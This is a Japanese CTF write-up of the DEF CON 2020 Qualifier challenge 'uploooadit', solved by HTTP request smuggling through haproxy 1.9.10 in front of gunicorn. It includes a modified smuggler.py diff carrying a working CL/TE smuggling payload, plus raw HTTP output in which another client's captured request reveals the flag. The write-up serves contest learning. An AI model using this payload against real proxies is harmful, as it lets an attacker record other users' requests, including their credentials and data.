DEF CON CTF Qualifier 2020 Writeup - uploooadit
Question
https://uploooadit.oooverflow.io/ Files: app.py 358c19d6478e1f66a25161933566d7111dd293f02d9916a89c56e09268c2b54c store.py dd5cee877ee73966c53f0577dc85be1705f2a13f12eb58a56a500f1da9dc49c0
ソースコードは以下のとおり。
app.py
import os import re from flask import Flask, abort, request import store GUID_RE = re.compile( r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z" ) app = Flask(__name__) app.config["MAX_CONTENT_LENGTH"] = 512 filestore = store.S3Store() # Uncomment the following line for simpler local testing of this service # filestore = store.LocalStore() @app.route("/files/", methods=["POST"]) def add_file(): if request.headers.get("Content-Type") != "text/plain": abort(422) guid = request.headers.get("X-guid", "") if not GUID_RE.match(guid): abort(422) filestore.save(guid, request.data) return "", 201 @app.route("/files/<guid>", methods=["GET"]) def get_file(guid): if not GUID_RE.match(guid): abort(422) try: return filestore.read(guid), {"Content-Type": "text/plain"} except store.NotFound: abort(404) @app.route("/", methods=["GET"]) def root(): return "", 204
store.py
"""Provides two instances of a filestore. There is not intended to be any vulnerability contained within this code. This file is provided to make it easier to test locally without needing access to an S3 bucket. -OOO """ import os import boto3 import botocore class NotFound(Exception): pass class LocalStore: def __init__(self): import tempfile self.upload_directory = tempfile.mkdtemp() def read(self, key): filepath = os.path.join(self.upload_directory, key) try: with open(filepath, "rb") as fp: return fp.read() except FileNotFoundError: raise NotFound def save(self, key, data): with open(os.path.join(self.upload_directory, key), "wb") as fp: fp.write(data) class S3Store: """Credentials grant access only to resource s3://BUCKET/* and only for: * GetObject * PutObject """ def __init__(self): self.bucket = os.environ["BUCKET"] self.s3 = boto3.client("s3") def read(self, key): try: response = self.s3.get_object(Bucket=self.bucket, Key=key) except botocore.exceptions.ClientError as exception: if exception.response["HTTPStatusCode"] == 403: raise NotFound # No other exceptions encountered during testing return response["Body"].read() def save(self, key, data): self.s3.put_object( Body=data, Bucket=self.bucket, ContentType="text/plain", Key=key )
Solution
ソースコードを読むと、以下の機能を持つことがわかる。
/files/
にX-guid
ヘッダーを付けてPOSTすると、HTTPリクエストボディの内容をAWSのS3に保存/files/<GUID>
にGETすると、保存したデータを取得- デバッグ/開発者用にS3でなくローカルファイルで動作可能な機能もある
まずは適当なGUIDをセットしてPOSTしてみる。
$ curl https://uploooadit.oooverflow.io/files/ -H "Content-Type: text/plain" -H "X-guid: 14371510-af00-1211-3333-afed3109dade" -d "aaaaaaaa" -v * Trying 3.135.56.183:443... * TCP_NODELAY set * Connected to uploooadit.oooverflow.io (3.135.56.183) port 443 (#0) * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/certs/ca-certificates.crt CApath: none * TLSv1.2 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=*.oooverflow.io * start date: May 9 00:00:00 2020 GMT * expire date: Jun 9 12:00:00 2021 GMT * subjectAltName: host "uploooadit.oooverflow.io" matched cert's "*.oooverflow.io" * issuer: C=US; O=Amazon; OU=Server CA 1B; CN=Amazon * SSL certificate verify ok. > POST /files/ HTTP/1.1 > Host: uploooadit.oooverflow.io > User-Agent: curl/7.69.0-DEV > Accept: */* > Content-Type: text/plain > X-guid: 14371510-af00-1211-3333-afed3109dade > Content-Length: 8 > * upload completely sent off: 8 out of 8 bytes * Mark bundle as not supporting multiuse < HTTP/1.1 201 CREATED < Server: gunicorn/20.0.0 < Date: Sat, 16 May 2020 02:09:41 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 0 < Via: haproxy < X-Served-By: ip-10-0-0-112.us-east-2.compute.internal < * Connection #0 to host uploooadit.oooverflow.io left intact
gunicornのバージョンが得られた。 また、haproxyが間にいることがわかる。
gunicornの更新履歴を確認する。
docs.gunicorn.org
fixed chunked encoding support to prevent any request smuggling
これがあやしい。以下の攻撃手法を使うと推測。
portswigger.net
この手法が使えれば、自分が決めたGUIDの領域に、他者のHTTPリクエストの内容を記録できそうだ。
Googleで専用のツールがあるか検索して、以下のリポジトリでsmuggler.pyというツールを発見する。
Transfer-EncodingとContent-Lengthに色々なパターンのデータをセットして、上記の脆弱性の有無を確認してくれる。
github.com
$ wget https://raw.githubusercontent.com/gwen001/pentest-tools/master/smuggler.py $ python3 smuggler.py -u https://uploooadit.oooverflow.io/ -v 4 _ ___ _ __ ___ _ _ __ _ __ _| | ___ _ __ _ __ _ _ / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__| | '_ \| | | | \__ \ | | | | | |_| | (_| | (_| | | __/ | _ | |_) | |_| | |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_| (_) | .__/ \__, | |___/ |___/ |_| |___/ by @gwendallecoguic [+] 0 hosts found: None [+] 1 urls found: https://uploooadit.oooverflow.io/ [+] 1 path found: None [+] options are -> threads:10, verbose:4 [+] 1 urls to test. [+] testing... https://uploooadit.oooverflow.io/ M= C=405 L=451 time=169 T=text/html; charset=utf-8 V=- >>>POST / HTTP/1.1 Host: uploooadit.oooverflow.io User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 0 <<< >>>HTTP/1.1 405 METHOD NOT ALLOWED Server: gunicorn/20.0.0 Date: Sun, 17 May 2020 00:26:56 GMT Connection: close Content-Type: text/html; charset=utf-8 Allow: GET, HEAD, OPTIONS Content-Length: 178 Via: haproxy X-Served-By: ip-10-0-0-225.us-east-2.compute.internal <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>405 Method Not Allowed</title> <h1>Method Not Allowed</h1> <p>The method is not allowed for the requested URL.</p> <<< https://uploooadit.oooverflow.io/ M=CL:TE1|vanilla C=400 L=216 time=169 T=text/html V=- >>>POST / HTTP/1.1 Host: uploooadit.oooverflow.io User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 5 Transfer-Encoding: chunked 1 Z Q <<< >>>HTTP/1.0 400 Bad request Server: haproxy 1.9.10 Cache-Control: no-cache Connection: close Content-Type: text/html <html><body><h1>400 Bad request</h1> Your browser sent an invalid request. </body></html> <<< (snip)
そのままでは成功しなかったが、haproxy 1.9.10
であることがわかった。
もう少し調べてみると以下の記事を発見。
ミドルウェア、バージョンともに出題環境と一致している。
HAProxy HTTP request smuggling - nathandavison.com
上記の記事を見ながらツールを改造する。
- Connectionヘッダーに
Close
をセットしない。 - 攻撃データに、自分が決めたGUIDの領域(X-guidヘッダーでセット)へ他人のHTTPリクエストの内容を記録するPOSTリクエスト電文をセット。
- POSTリクエスト後に、/files/
にGETして、他人のHTTPリクエストの内容が記録できているか確認。 - なお、Content-Lengthの390は、実行しながら調整した結果。最初は100くらいから試した。
$ cp -p smuggler.py smuggler_mod.py $ diff smuggler.py smuggler_mod.py 57c57 < 'Connection': 'close', --- > # 'Connection': 'close', 66a67,81 > guid = "14371510-af00-1211-3333-afed3109dade" > > body="""1 > A > 0 > > POST /files/ HTTP/1.1 > Host: uploooadit.oooverflow.io > Content-Type: text/plain > X-guid: {} > Content-Length: 390 > > hoge""".format(guid).replace("\n","\r\n") > > 68,71c83,87 < {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'}, < {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'}, < {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'}, < {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'}, --- > # {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'}, > # {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'}, > # {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'}, > # {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'}, > {'name':'EXPLORE', 'Content-Length':len(body), 'body':body}, 631c647,652 < --- > print("-------- requests start --------") > r = requests.get( > "https://uploooadit.oooverflow.io/files/{}".format(guid) > ) > print(r.text) > print("-------- requests end --------")
実行する。
$ python3 smuggler_mod.py -u https://uploooadit.oooverflow.io/ -m prefix1_11 -v 4 _ ___ _ __ ___ _ _ __ _ __ _| | ___ _ __ _ __ _ _ / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__| | '_ \| | | | \__ \ | | | | | |_| | (_| | (_| | | __/ | _ | |_) | |_| | |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_| (_) | .__/ \__, | |___/ |___/ |_| |___/ by @gwendallecoguic [+] 0 hosts found: None [+] 1 urls found: https://uploooadit.oooverflow.io/ [+] 1 path found: None [+] options are -> threads:10, verbose:4 [+] 1 urls to test. [+] testing... https://uploooadit.oooverflow.io/ M= C=405 L=432 time=162 T=text/html; charset=utf-8 V=- >>>POST / HTTP/1.1 Host: uploooadit.oooverflow.io User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 0 <<< >>>HTTP/1.1 405 METHOD NOT ALLOWED Server: gunicorn/20.0.0 Date: Sun, 17 May 2020 00:22:59 GMT Content-Type: text/html; charset=utf-8 Allow: GET, HEAD, OPTIONS Content-Length: 178 Via: haproxy X-Served-By: ip-10-0-0-183.us-east-2.compute.internal <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>405 Method Not Allowed</title> <h1>Method Not Allowed</h1> <p>The method is not allowed for the requested URL.</p> <<< https://uploooadit.oooverflow.io/ M=EXPLORE|prefix1_11 C=405 L=432 time=162 T=text/html; charset=utf-8 V=- >>>POST / HTTP/1.1 Host: uploooadit.oooverflow.io User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 165 Transfer-Encoding: chunked 1 A 0 POST /files/ HTTP/1.1 Host: uploooadit.oooverflow.io Content-Type: text/plain X-guid: 14371510-af00-1211-3333-afed3109dade Content-Length: 390 hoge<<< >>>HTTP/1.1 405 METHOD NOT ALLOWED Server: gunicorn/20.0.0 Date: Sun, 17 May 2020 00:23:00 GMT Content-Type: text/html; charset=utf-8 Allow: GET, HEAD, OPTIONS Content-Length: 178 Via: haproxy X-Served-By: ip-10-0-0-225.us-east-2.compute.internal <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>405 Method Not Allowed</title> <h1>Method Not Allowed</h1> <p>The method is not allowed for the requested URL.</p> <<< -------- requests start -------- hogePOST /files/ HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: invoker Accept-Encoding: gzip, deflate Accept: */* Content-Type: text/plain X-guid: 931ab38b-2a16-4074-a603-5295cb90ef39 Content-Length: 152 X-Forwarded-For: 127.0.0.1 Congratulations! OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high} -------- requests end --------
出題者が定期的にフラグ文字列をPOSTするリクエストを流していたようで、フラグゲット。
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}